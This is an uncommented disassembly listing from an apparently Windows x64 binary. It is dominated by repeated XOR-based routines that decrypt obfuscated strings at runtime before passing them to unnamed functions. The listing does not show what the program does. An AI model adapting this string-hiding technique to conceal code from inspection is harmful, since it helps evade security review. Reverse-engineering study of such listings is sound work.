cmp r12d, 2
jl 0x14009ee49
movdqa xmm5, xmmword [0x140149500]
movdqa xmm4, xmmword [0x140149820]
movdqa xmm6, xmmword [0x140149590]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x17a0], xmm0
lea rcx, [rbp + 0xbac]
mov edx, dword [rbp + 0x17a0]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14009ed40
cmp r8d, 0x11
jge 0x14009ee90
movsxd rax, r8d
lea r9, [rbp + 0xba8]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x14009ee60
movsd xmm0, qword [str.kR_WYIQQ_5_3_E]
movsd qword [rbp + 0x840], xmm0
mov eax, dword [0x1401460a8]
mov dword [rbp + 0x848], eax
movzx eax, word [0x1401460ac]
mov word [rbp + 0x84c], ax
cmp byte [0x1401460ad], 0
je 0x14009f020
mov r8d, r13d
cmp r12d, 2
jl 0x14009efdc
movdqa xmm4, xmmword [0x140149820]
movdqa xmm2, xmmword [0x140149500]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
mov eax, dword [str.8888888888888888]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.kR_WYIQQ_5_3_E]
xorps xmm2, xmm0
movd dword [rbp + 0x840], xmm2
movdqa xmm3, xmmword [0x140149570]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x844]
xorps xmm2, xmm1
movd dword [rbp + 0x844], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x840]
add r9, rax
nop dword [rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x14009eff0
mov r9d, 2
lea r8, [rbp + 0xba8]
lea rdx, [0x1401ab0f4]
lea rcx, [rbp + 0x840]
call fcn.14003b460
mov eax, dword [0x140146af0]
mov dword [rbp + 0x7b8], eax
movzx eax, byte [0x140146af4]
movsd xmm0, qword [str.vVHV_Q__6_CD]
mov byte [rbp + 0x7bc], al
movsd qword [rbp + 0x7b0], xmm0
mov r8d, r13d
cmp r12d, 2
jl 0x14009f17e
movdqa xmm4, xmmword [0x140149820]
movdqa xmm2, xmmword [0x140149500]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
mov eax, dword [str.8888888888888888]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.vVHV_Q__6_CD]
xorps xmm2, xmm0
movd dword [rbp + 0x7b0], xmm2
movdqa xmm3, xmmword [0x140149570]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x7b4]
xorps xmm2, xmm1
movd dword [rbp + 0x7b4], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x7b0]
add r9, rax
nop dword [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x14009f190
movsd xmm0, qword [str.p_WH__M_5_3_E]
movsd qword [rbp + 0x8a0], xmm0
mov eax, dword [0x1401458a8]
mov dword [rbp + 0x8a8], eax
movzx eax, word [0x1401458ac]
mov word [rbp + 0x8ac], ax
cmp byte [0x1401458ad], 0
je 0x14009f350
mov r8d, r13d
cmp r12d, 2
jl 0x14009f30c
movdqa xmm4, xmmword [0x140149820]
movdqa xmm2, xmmword [0x140149500]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
mov eax, dword [str.8888888888888888]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.p_WH__M_5_3_E]
xorps xmm2, xmm0
movd dword [rbp + 0x8a0], xmm2
movdqa xmm3, xmmword [0x140149570]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x8a4]
xorps xmm2, xmm1
movd dword [rbp + 0x8a4], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x8a0]
add r9, rax
nop dword [rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x14009f320
mov r9d, 2
lea r8, [rbp + 0x7b0]
lea rdx, [0x1401ab0f0]
lea rcx, [rbp + 0x8a0]
call fcn.14003b460
call fcn.14000cdc0
movaps xmm1, xmm11
movaps xmm0, xmm10
call fcn.140016940
movsd xmm0, qword [0x140145568]
movsd qword [rbp + 0x950], xmm0
mov eax, dword [0x140145570]
mov dword [rbp + 0x958], eax
movzx eax, word [0x140145574]
mov word [rbp + 0x95c], ax
movzx eax, byte [0x140145576]
mov byte [rbp + 0x95e], al
mov r8d, r13d
cmp r12d, 2
jl 0x14009f4ce
movdqa xmm4, xmmword [0x140149820]
movdqa xmm2, xmmword [0x140149500]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
mov eax, dword [str.8888888888888888]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140145568]
xorps xmm2, xmm0
movd dword [rbp + 0x950], xmm2
movdqa xmm3, xmmword [0x140149570]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x954]
xorps xmm2, xmm1
movd dword [rbp + 0x954], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x950]
add r9, rax
nop dword [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x14009f4e0
mov eax, dword [0x1401457fc]
mov dword [rbp], eax
movzx ecx, word [0x140145800]
mov word [rbp + 4], cx
movzx eax, byte [0x140145802]
mov byte [rbp], 0x43
xor byte [rbp + 1], 0x39
xor byte [rbp + 2], 0x3a
xor byte [rbp + 3], 0x3b
xor cl, 0x3c
mov byte [rbp + 4], cl
xor byte [rbp + 5], 0x3d
xor al, 0x3e
mov byte [rbp + 6], al
mov r9b, 1
movaps xmm0, xmm14
unpcklps xmm0, xmm9
movq r8, xmm0
lea rdx, [rbp + 0x950]
lea rcx, [rbp]
call fcn.14007f140
movups xmm0, xmmword [0x140144728]
movups xmmword [rbp + 0xd58], xmm0
movzx eax, word [0x140144738]
mov word [rbp + 0xd68], ax
movzx eax, byte [0x14014473a]
mov byte [rbp + 0xd6a], al
mov r8d, r13d
cmp r12d, 2
jl 0x14009f6e9
movdqa xmm5, xmmword [0x140149500]
movdqa xmm4, xmmword [0x140149820]
movdqa xmm6, xmmword [0x140149590]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x17a0], xmm0
lea rcx, [rbp + 0xd5c]
mov edx, dword [rbp + 0x17a0]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14009f5e0
cmp r8d, 0x13
jge 0x14009f730
movsxd rax, r8d
lea r9, [rbp + 0xd58]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x13
jl 0x14009f700
movsd xmm0, qword [0x1401459b0]
movsd qword [rbp + 0x360], xmm0
movzx eax, word [0x1401459b8]
mov word [rbp + 0x368], ax
cmp byte [0x1401459b9], 0
je 0x14009f7a1
mov byte [rbp + 0x360], 0x53
xor byte [rbp + 0x361], 0x39
xor byte [rbp + 0x362], 0x3a
xor byte [rbp + 0x363], 0x3b
xor byte [rbp + 0x364], 0x3c
xor byte [rbp + 0x365], 0x3d
xor byte [rbp + 0x366], 0x3e
xor byte [rbp + 0x367], 0x3f
xor byte [rbp + 0x368], 0x40
xor byte [rbp + 0x369], 0x41
lea r9, [rbp + 0xd58]
mov r8d, 0x30120
lea rdx, [0x140160aa8]
lea rcx, [rbp + 0x360]
call fcn.140042fc0
movups xmm0, xmmword [str.VVTN]
movups xmmword [rbp + 0xda0], xmm0
mov eax, dword [0x140146798]
mov dword [rbp + 0xdb0], eax
cmp byte [0x14014679b], 0
je 0x14009f980
mov r8d, r13d
cmp r12d, 2
jl 0x14009f939
movdqa xmm5, xmmword [0x140149500]
movdqa xmm4, xmmword [0x140149820]
movdqa xmm6, xmmword [0x140149590]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x17a0], xmm0
lea rcx, [rbp + 0xda4]
mov edx, dword [rbp + 0x17a0]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14009f830
cmp r8d, 0x14
jge 0x14009f980
movsxd rax, r8d
lea r9, [rbp + 0xda0]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x14
jl 0x14009f950
mov rax, qword [str.VWK_NM_VLdOTRZ.5]
mov qword [rbp + 0x258], rax
cmp byte [0x140144d27], 0
je 0x14009faf0
cmp r12d, 2
jl 0x14009faac
movdqa xmm4, xmmword [0x140149820]
movdqa xmm2, xmmword [0x140149500]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
mov eax, dword [str.8888888888888888]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x258]
xorps xmm2, xmm1
movd dword [rbp + 0x258], xmm2
movdqa xmm3, xmmword [0x140149570]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x25c]
xorps xmm2, xmm1
movd dword [rbp + 0x25c], xmm2
jmp 0x14009faf0
lea r9, [rbp + 0x258]
mov r8d, r13d
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x14009fac0
lea r9, [rbp + 0xda0]
mov r8d, 0x30120
lea rdx, [0x140160a68]
lea rcx, [rbp + 0x258]
call fcn.140042fc0
movups xmm0, xmmword [0x140145228]
movups xmmword [rbp + 0x1190], xmm0
movsd xmm0, qword [0x140145238]
movsd qword [rbp + 0x11a0], xmm0
movzx eax, word [0x140145240]
mov word [rbp + 0x11a8], ax
cmp byte [0x140145241], 0
je 0x14009fce0
mov r8d, r13d
cmp r12d, 2
jl 0x14009fc99
movdqa xmm5, xmmword [0x140149500]
movdqa xmm4, xmmword [0x140149820]
movdqa xmm6, xmmword [0x140149590]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x17a0], xmm0
lea rcx, [rbp + 0x1194]
mov edx, dword [rbp + 0x17a0]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14009fb90
cmp r8d, 0x1a
jge 0x14009fce0
movsxd rax, r8d
lea r9, [rbp + 0x1190]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x14009fcb0
movsd xmm0, qword [str.PIO_S_Z_]
movzx eax, byte [0x1401458f8]
movsd qword [rbp + 0x2d0], xmm0
mov byte [rbp + 0x2d0], 0x44
xor byte [rbp + 0x2d1], 0x39
xor byte [rbp + 0x2d2], 0x3a
xor byte [rbp + 0x2d3], 0x3b
xor byte [rbp + 0x2d4], 0x3c
xor byte [rbp + 0x2d5], 0x3d
xor byte [rbp + 0x2d6], 0x3e
xor byte [rbp + 0x2d7], 0x3f
xor al, 0x40
mov byte [rbp + 0x2d8], al
lea r9, [rbp + 0x1190]
mov r8d, 0x30120
lea rdx, [0x140160ad8]
lea rcx, [rbp + 0x2d0]
call fcn.140042fc0
movups xmm0, xmmword [0x140146750]
movups xmmword [rbp + 0x1088], xmm0
movsd xmm0, qword [0x140146760]
movsd qword [rbp + 0x1098], xmm0
cmp byte [reloc.WLDAP32.dll_Ordinal_79], 0
je 0x14009ff10
cmp r12d, 2
jl 0x14009fed2
movdqa xmm5, xmmword [0x140149500]
mov edx, r13d
movdqa xmm4, xmmword [0x140149820]
movdqa xmm6, xmmword [0x140149590]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x17a0], xmm0
lea rcx, [rbp + 0x108c]
mov r8d, dword [rbp + 0x17a0]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x18
jl 0x14009fdd0
jmp 0x14009ff10
lea r9, [rbp + 0x1088]
mov r8d, r13d
nop dword [rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x18
jl 0x14009fee0
mov rax, qword [str.o_KSSM_mWVT_V]
mov qword [rbp + 0x260], rax
cmp byte [0x140145f27], 0
je 0x1400a0080
cmp r12d, 2
jl 0x1400a003c
movdqa xmm4, xmmword [0x140149820]
movdqa xmm2, xmmword [0x140149500]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
mov eax, dword [str.8888888888888888]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x260]
xorps xmm2, xmm1
movd dword [rbp + 0x260], xmm2
movdqa xmm3, xmmword [0x140149570]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x264]
xorps xmm2, xmm1
movd dword [rbp + 0x264], xmm2
jmp 0x1400a0080
lea r9, [rbp + 0x260]
mov r8d, r13d
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x1400a0050
lea r9, [rbp + 0x1088]
